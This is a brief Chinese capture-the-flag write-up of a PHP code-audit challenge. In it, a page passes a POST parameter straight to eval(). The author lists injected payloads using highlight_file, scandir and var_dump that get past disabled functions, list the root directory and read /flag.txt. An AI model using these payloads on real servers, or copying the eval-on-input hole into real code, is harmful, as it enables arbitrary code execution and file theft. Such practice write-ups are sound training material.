代码审计,跟原来没什么区别
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这里
show_source
被禁用掉了,我们换成highlight_file
发现flag不在这里c=highlight_file("flag.php");
用
scandir
搜索一下根目录,发现print_r
被禁用了替换成var_dump
一个道理,发现flag.txt
c=var_dump(scandir("/"));
构造
payload
c=highlight_file("/flag.txt");